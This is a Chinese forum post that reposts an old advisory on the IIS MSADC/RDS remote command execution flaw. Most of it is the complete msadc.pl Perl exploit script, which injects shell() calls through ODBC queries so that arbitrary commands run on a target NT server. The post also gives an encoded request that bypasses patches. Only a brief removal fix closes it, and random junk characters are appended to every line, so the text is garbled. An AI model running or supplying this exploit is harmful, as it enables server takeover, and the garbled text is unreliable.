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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^;wz+u4^l  
p;~oIy\,  
涉及程序: Wjr^: d  
Microsoft NT server "%#CMCE|f  
'u6n,yRm  
描述: -Sa-eWP  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P<=1O WC  
\4>& zb4  
详细: XHh*6Yt_ (  
如果你没有时间读详细内容的话,就删除: 5 hW#BB  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =ba1::18  
有关的安全问题就没有了。 |qpFR)l  
S{N=9934_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 <TgVU.*  
`@{(ijg.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 pRA%07?W  
关于利用ODBC远程漏洞的描述,请参看: v1=N?8Hz1  
< Df2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ? 0+N  
0bteI*L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 fpJ%{z2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0{-?Wy  
u-*z#e_L0  
这里不再论述。 nK#%Od{GF  
!\cVe;<r  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Vz evOS  
dtig_s,)D  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset f6 s .xQ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! BDLJDyf B  
<,Mf[R2N>  
wV\G$|Y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" C$4{'J-ZH  
zF(abQ0  
#!perl t+D= @"BZP  
# Nw1Bn~yx<R  
# MSADC/RDS 'usage' (aka exploit) script `cPZsL  
# Q=Liy@/+!  
# by rain.forest.puppy l[C_vUg  
# oA3;P]~[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1C0' Gf)3  
# beta test and find errors! 2Sk"S/4}Z  
e$E>6Ngsr  
use Socket; use Getopt::Std; tl`x/   
getopts("e:vd:h:XR", \%args); i`=%X{9  
4 RfBXVS  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; NDJP`FI  
p!DOc8a.\e  
if (!defined $args{h} && !defined $args{R}) { JF=T_SH^U  
print qq~ $i1:--~2\  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Rln\  
-h <host> = host you want to scan (ip or domain) ~i!I6d~  
-d <seconds> = delay between calls, default 1 second \i\>$'f*z  
-X = dump Index Server path table, if available {7%(m|(  
-v = verbose POf xN.  
-e = external dictionary file for step 5 Dw$RHogb~y  
N:~4>p44[  
Or a -R will resume a command session [3x},KM  
JL>DRIR%NV  
~; exit;} uPE Ab2u="  
`qRyh}Ax"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; U2CC#,b!(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `U&'71B^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4*HBCzr7[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &MPlSIg  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} &P"13]^@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (LJ7xoJ^  
BCtKxtbS  
if (!defined $args{R}){ $ret = &has_msadc; wN^^_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} x,|fblQz  
6OqF-nso[E  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ./^8L(  
. "cmd /c "; aU_l"+5>vq  
$in=<STDIN>; chomp $in; /IF?|71,m  
$command="cmd /c " . $in ; X*9-P9x(6  
sE ^YOT<  
if (defined $args{R}) {&load; exit;} W }v ,6Oe  
HZ1nuA  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; N-q6_  
&try_btcustmr; `gyk e2n  
i:jns>E  
print "\nStep 2: Trying to make our own DSN..."; q_98=fyE6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; .{|SKhXk  
Pq@ -`sw  
print "\nStep 3: Trying known DSNs..."; e wWw  
&known_dsn; |<O^M q  
^%tn$4@@Z.  
print "\nStep 4: Trying known .mdbs..."; o-JB,^TE  
&known_mdb; Y#6LNI   
vU(fd!V ?  
if (defined $args{e}){ 'K01"`#  
print "\nStep 5: Trying dictionary of DSN names..."; 7|jy:F,w%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z, FPhbFn  
Spin]V  
print "Sorry Charley...maybe next time?\n"; DiGHo~f  
exit; ;mC|> wSZ  
y]+[o1]-c  
############################################################################## +SW|/oIU  
s_^N=3Si   
sub sendraw { # ripped and modded from whisker &N]e pV>  
sleep($delay); # it's a DoS on the server! At least on mine... @Ae&1O;Zh  
my ($pstr)=@_; oOaLD{g>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^bfU>02Q6p  
die("Socket problems\n"); k'+y  
if(connect(S,pack "SnA4x8",2,80,$target)){ Zj_2B_|WN#  
select(S); $|=1; gZBKe!@a|  
print $pstr; my @in=<S>; 2%9L'-  
select(STDOUT); close(S); kD7'BP/#  
return @in; |_QpB?b  
} else { die("Can't connect...\n"); }} g"kET]KP"  
S9ic4rcd  
############################################################################## ?M6)O?[  
p"- %~%J=  
sub make_header { # make the HTTP request k8@bQ"#b  
my $msadc=<<EOT 3\{\ al   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?P4y$P  
User-Agent: ACTIVEDATA 0)7v _|z  
Host: $ip teC/Uf 5  
Content-Length: $clen TBky+]p@  
Connection: Keep-Alive IKaW],sr#  
S%B56|'  
ADCClientVersion:01.06 B-$zioZ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (`4&Y-  
S)W?W}*R\  
--!ADM!ROX!YOUR!WORLD! wy{ sS}  
Content-Type: application/x-varg [9j,5d&m  
Content-Length: $reqlen Ts3!mjn  
7=Pj}x)  
EOT %d40us8E  
; $msadc=~s/\n/\r\n/g; />pAZa  
return $msadc;} eVB43]g  
[>\e@ =  
############################################################################## og~a*my3  
m,J IId%O  
sub make_req { # make the RDS request 8~~ k?  
my ($switch, $p1, $p2)=@_; .726^2sx  
my $req=""; my $t1, $t2, $query, $dsn; uXvE>VpJG  
+$xw0)|  
if ($switch==1){ # this is the btcustmr.mdb query ?L H[,8z  
$query="Select * from Customers where City=" . make_shell(); Fy!s$!\C0  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . % tC[q   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Xw jm T  
s&Al4>}.f  
elsif ($switch==2){ # this is general make table query p#-=mXE/2  
$query="create table AZZ (B int, C varchar(10))"; q/Ji}NGm  
$dsn="$p1";} Om>?"=yDE  
}_}    
elsif ($switch==3){ # this is general exploit table query jTZi< Y:bB  
$query="select * from AZZ where C=" . make_shell(); VUP. \Vry  
$dsn="$p1";} 1 3)6p|6x  
]YfG`0eK<  
elsif ($switch==4){ # attempt to hork file info from index server !!8;ZcL}Z  
$query="select path from scope()"; !q$>6P  
$dsn="Provider=MSIDXS;";} 6ecx!uc$  
}NRt:JC  
elsif ($switch==5){ # bad query o?~27   
$query="select"; 49O_A[(d  
$dsn="$p1";} #3eI4KJ4+l  
Ktvs*.?  
$t1= make_unicode($query); Pn4jI(  
$t2= make_unicode($dsn); mG@[~w+  
$req = "\x02\x00\x03\x00"; ' V*}d  
$req.= "\x08\x00" . pack ("S1", length($t1)); L<XX?I\p  
$req.= "\x00\x00" . $t1 ; 6c27X/'Z  
$req.= "\x08\x00" . pack ("S1", length($t2)); ="f-I9y  
$req.= "\x00\x00" . $t2 ; rj4Mq:pJ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^k{/Yl  
return $req;} rc7c$3#X  
|id7@3leu  
############################################################################## Z=;=9<vA  
Ux{QYjF E  
sub make_shell { # this makes the shell() statement 5dG+>7Iy}  
return "'|shell(\"$command\")|'";} g>'6"p;  
~m0=YAlk?  
############################################################################## 3RxR'M1  
+ 65<|0  
sub make_unicode { # quick little function to convert to unicode TDy)A2Z  
my ($in)=@_; my $out; V$;`#J$\b  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } WE_'u+!B  
return $out;} ZtP/|P5@  
20}]b* C}  
############################################################################## =knLkbiq7,  
B<h4ZK%  
sub rdo_success { # checks for RDO return success (this is kludge) ,?Vxcr  
my (@in) = @_; my $base=content_start(@in); 3m2y<l<  
if($in[$base]=~/multipart\/mixed/){ g2*}XS 3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,zH\P+*  
return 0;} \ $t{K  
s?nj@:4  
############################################################################## u`oJ3mS;  
V~5vR`}  
sub make_dsn { # this makes a DSN for us e8egxm  
my @drives=("c","d","e","f"); S$R=!3* "V  
print "\nMaking DSN: "; .L^;aL  
foreach $drive (@drives) { ;- Vs|X  
print "$drive: "; d(9SkXr  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . IM[=]j.?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V\FlKC   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N"Y%* BkH  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; mz;ExV16  
return 0 if $2 eq "404"; # not found/doesn't exist 8{{^pW?x  
if($2 eq "200") { B>z^W+Unyn  
foreach $line (@results) { Ae2Y\sAV  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @T.F/Pjhc  
} return 0;} 9)j"|5H  
~)X;z"y%b  
############################################################################## #^ .G^d(=  
E)X_  
sub verify_exists { -GQ.B{%G  
my ($page)=@_; 0tMzVx S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); y^kC2DS   
return $results[0];} e(`r"RrQ  
/w2IL7}  
############################################################################## L]BTX]  
YYkgm:[  
sub try_btcustmr { I<xcVY9L  
my @drives=("c","d","e","f"); ^r]-v++  
my @dirs=("winnt","winnt35","winnt351","win","windows"); YxA nh  
y] Cx[  
foreach $dir (@dirs) { |L-- j  
print "$dir -> "; # fun status so you can see progress V2tA!II-s  
foreach $drive (@drives) { !4t%\N6Ib  
print "$drive: "; # ditto Yx ;j  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; miCY?=N`  
$reqlenlen=length( "$reqlen" ); XoMgb DC  
$clen= 206 + $reqlenlen + $reqlen; =U:]x'g(  
K+yi_n L  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); HJ!)&xT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;[Eso p  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} B8up v~U 6  
(.{."  
############################################################################## }:0HM8B7!  
Mz lE  
sub odbc_error { E!I4I'  
my (@in)=@_; my $base; A?)(^  
my $base = content_start(@in); W>P:EI1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4L,&a+)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *1>Tc,mb  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X&K,,C  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PM {L}tEQ  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?:zMrlX  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _qQo}|/q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 5pRVA  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *S Z]xrs  
)%!X,  
############################################################################## /`O'eH  
X<1ymb3  
sub verbose { ' 94HVag  
my ($in)=@_; C|QJQ@bj0  
return if !$verbose; tfe'].uT  
print STDOUT "\n$in\n";} ~<osL  
]7h;MR  
############################################################################## BTE&7/i 21  
Me;Nn$'%  
sub save { |txzIc.#  
my ($p1, $p2, $p3, $p4)=@_; >v%UV:7ap  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; i{J[;rV9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Uf$IH!5;Z  
close OUT;} V<REcII.  
Z \ -  
############################################################################## !}xRwkN  
2TaHWw<A  
sub load { Ax!fvcsN  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; |C t Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ]d&;QZ#w  
@p=<IN>; close(IN); `7',RUj|D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); H{Na'_sL  
$target= inet_aton($ip) || die("inet_aton problems"); x/92],.Mz  
print "Resuming to $ip ..."; :/NP8$~@j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; / pR,l5  
if($p[1]==1) { -%t8a42  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; A?c?(~9O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k_%maJkXp  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); a &R,jq  
if (rdo_success(@results)){print "Success!\n";} .:, 9Tf  
else { print "failed\n"; verbose(odbc_error(@results));}} GuJIN"P]  
elsif ($p[1]==3){ Z ?w=-  
if(run_query("$p[3]")){ lt}U,p,S  
print "Success!\n";} else { print "failed\n"; }} 061f  
elsif ($p[1]==4){ 6K9-n}z  
if(run_query($drvst . "$p[3]")){ UAdj [m61  
print "Success!\n"; } else { print "failed\n"; }} @{880 5Dp  
exit;} ;!>>C0s"  
F=kiYa}  
############################################################################## KhbbGdmfS$  
sY'dN_F  
sub create_table { '}NH$ KA  
my ($in)=@_; z.kBQ{P  
$reqlen=length( make_req(2,$in,"") ) - 28; ]PXpzruy  
$reqlenlen=length( "$reqlen" ); 11yS2D   
$clen= 206 + $reqlenlen + $reqlen; E`uK7 2j  
my @results=sendraw(make_header() . make_req(2,$in,"")); Cd7d-'EQn  
return 1 if rdo_success(@results); W{;LI WsZ  
my $temp= odbc_error(@results); verbose($temp); !myF_cv}'  
return 1 if $temp=~/Table 'AZZ' already exists/; Xc]Q_70O  
return 0;} w~*"mZaG  
%w6lNl  
############################################################################## ,u>K##X\  
lnntb3q  
sub known_dsn { kc:2ID&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 'MIM_m)H  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", , Onu%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2O9OEZdKB  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cK+)MFOu+  
22m'+3I~Y  
foreach $dSn (@dsns) { {eo?vA8SE  
print "."; Q|cA8Fn  
next if (!is_access("DSN=$dSn")); !GVxQll[f  
if(create_table("DSN=$dSn")){ z3-AYQ.H  
print "$dSn successful\n"; 90)rOD1B  
if(run_query("DSN=$dSn")){ GD .>u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '~'3x4Bo  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k$ } 6Qd  
GEi^3UD  
############################################################################## R2[!h1nZ  
n?A;'\cK  
sub is_access { ]dIr;x`  
my ($in)=@_; pG:)u cj  
$reqlen=length( make_req(5,$in,"") ) - 28; DnPV Tp(>  
$reqlenlen=length( "$reqlen" ); D$c4's `5  
$clen= 206 + $reqlenlen + $reqlen; Y~M  H  
my @results=sendraw(make_header() . make_req(5,$in,"")); cb~m==G  
my $temp= odbc_error(@results); \Tj(]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); bwh.ekf8  
return 0;} x;R9Gc[5  
J&6]3x  
############################################################################## U=bZy,FT$  
n-_-;TYH  
sub run_query { Bhrp"l +|  
my ($in)=@_; OC[(Eq  
$reqlen=length( make_req(3,$in,"") ) - 28; lq!l{[Xp  
$reqlenlen=length( "$reqlen" ); {%b-~& F9  
$clen= 206 + $reqlenlen + $reqlen; n _*k e  
my @results=sendraw(make_header() . make_req(3,$in,"")); BK]q^.7+:  
return 1 if rdo_success(@results); oMi"X"C:q  
my $temp= odbc_error(@results); verbose($temp); RA+k/2]y!  
return 0;} Y,@{1X`0@3  
]={{$}8.  
############################################################################## C,D~2G  
Ie?C<(8Ul  
sub known_mdb { ]Z\.Vx  
my @drives=("c","d","e","f","g"); 4<&`\<jZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); g< {jgF  
my $dir, $drive, $mdb; Io&F0~Z;;(  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Sf\mg4,  
+d736lLe%  
# this is sparse, because I don't know of many kSw.Q2ao  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?79ABm a  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", QY<2i-A  
"\\system32\\certmdb.mdb", wy$9QN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,#r>#fi0  
iB5Se  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", `=Hh5;ep  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /^\6q"'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ZOG6  
"\\cfusion\\cfapps\\security\\realm_.mdb", dg1h<]T"9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^1S(6'a#  
"\\cfusion\\database\\cfexamples.mdb", LdAfY0  
"\\cfusion\\database\\cfsnippets.mdb", X}xy v  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", mPxph>o  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }ya9 +?I  
"\\cfusion\\brighttiger\\database\\cleam.mdb", j xr~cp?4  
"\\cfusion\\database\\smpolicy.mdb", fNx3\<~V=  
"\\cfusion\\database\cypress.mdb", 6nRD:CH)X  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", rr# &0`]  
"\\website\\cgi-win\\dbsample.mdb", /E@|  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >LwZ"IE V  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" yA!#>u%g  
); #these are just ><[($Gq`g  
foreach $drive (@drives) { /nRi19a%xU  
foreach $dir (@dirs){ 7!`,P  
foreach $mdb (@sysmdbs) { Nq)=E[$  
print "."; \0m[Ch}~ey  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oToUpkAI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?y7x#_Exc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Jn. WbS  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; T'l >$6  
} else { print "Something's borked. Use verbose next time\n"; }}}}} cSBYC_LU  
Y zSUJ=0/  
foreach $drive (@drives) { #|34(ML  
foreach $mdb (@mdbs) { ,.uPlnB_  
print "."; _d&FB~=  
if(create_table($drv . $drive . $dir . $mdb)){ b$+.}&M  
print "\n" . $drive . $dir . $mdb . " successful\n"; n9Z|69W6>  
if(run_query($drv . $drive . $dir . $mdb)){ l =ZhHON  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [dL4u^]{  
} else { print "Something's borked. Use verbose next time\n"; }}}} A\_cGM2  
} 9Ay*'   
Uax- z  
############################################################################## \&J7>vu^y  
B`} ?rp  
sub hork_idx { Be+vC=\K  
print "\nAttempting to dump Index Server tables...\n"; o@r+Y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Dg4 ?,{c9W  
$reqlen=length( make_req(4,"","") ) - 28; -U(T  
$reqlenlen=length( "$reqlen" ); aO?(ZL  
$clen= 206 + $reqlenlen + $reqlen; h \b]>q@  
my @results=sendraw2(make_header() . make_req(4,"","")); VAF+\Cea=  
if (rdo_success(@results)){ J A ]s  
my $max=@results; my $c; my %d; _U)DL=a'  
for($c=19; $c<$max; $c++){ TDdFuO'}  
$results[$c]=~s/\x00//g; }.O2xZ;}]'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hp!UW  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; YsXP$y]g-  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _gjsAbM  
$d{"$1$2"}="";} O/>$kG%ge  
foreach $c (keys %d){ print "$c\n"; } `(?E-~#'  
} else {print "Index server doesn't seem to be installed.\n"; }} a 1Qg&s<  
wGE:U`  
############################################################################## 69 R8#M  
oBQr6-nZ  
sub dsn_dict { P7(+{d{  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `itaQGLD  
while(<IN>){ !q! =VC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; &)OX*y  
next if (!is_access("DSN=$dSn")); `AeId/A4n  
if(create_table("DSN=$dSn")){ 'Uew(o  
print "$dSn successful\n"; J.mEOo!>  
if(run_query("DSN=$dSn")){ Y!v `0z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { tB4- of3+  
print "Something's borked. Use verbose next time\n";}}} [>Kkj;*  
print "\n"; close(IN);} ad8kUHf  
DF/p{s1Y3  
############################################################################## l)fF)\|;=  
Y(ly0U}  
sub sendraw2 { # ripped and modded from whisker .xuLvNyQr  
sleep($delay); # it's a DoS on the server! At least on mine... _) 2fXG!  
my ($pstr)=@_; >sdj6^[+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p mcy(<  
die("Socket problems\n"); jm'(t=Ze  
if(connect(S,pack "SnA4x8",2,80,$target)){ cOth q87:  
print "Connected. Getting data"; a-,!K  
open(OUT,">raw.out"); my @in; B5aFt ;Vj  
select(S); $|=1; print $pstr; T+zZOI  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @kn0f`  
close(OUT); select(STDOUT); close(S); return @in; f@+[-yF  
} else { die("Can't connect...\n"); }} P*XLm  
i2/:' i  
############################################################################## ~sshhuF  
z@^[.  
sub content_start { # this will take in the server headers J5}-5sV^  
my (@in)=@_; my $c; Id(o6j^J_  
for ($c=1;$c<500;$c++) { v_"p)4&'  
if($in[$c] =~/^\x0d\x0a/){ 33DP0OBL^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?N<* ATC L  
else { return $c+1; }}} E8u :Fg s  
return -1;} # it should never get here actually M2_sxibI  
p#) u2^  
############################################################################## h}i /u  
o-Pa3L=  
sub funky { ;(fDR8  
my (@in)=@_; my $error=odbc_error(@in); G2U=*|  
if($error=~/ADO could not find the specified provider/){ YA O, rh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; sH(4.36+  
exit;} aErms-~  
if($error=~/A Handler is required/){ "]Wrir?l  
print "\nServer has custom handler filters (they most likely are patched)\n"; e3UGYwQ  
exit;} t&^9o $  
if($error=~/specified Handler has denied Access/){ 3:7J@>  
print "\nServer has custom handler filters (they most likely are patched)\n"; `Lb^!6`)  
exit;}} '+N!3r{G  
|X k'd@<  
############################################################################## N%%2!Z#  
EFu2&P  
sub has_msadc { j<>E Fd  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |gM|>  
my $base=content_start(@results); M5s>;q)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); /UTeaM!?"  
return 0;} b26#0;i  
hC?:XVt  
######################## 3r!6Z5P7{'  
P% _cIR  
I3]-$  
解决方案: 4eK!1|1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |} ;&xI  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1Y4=D  
B:#5U85m  
拿出来充数 哈哈
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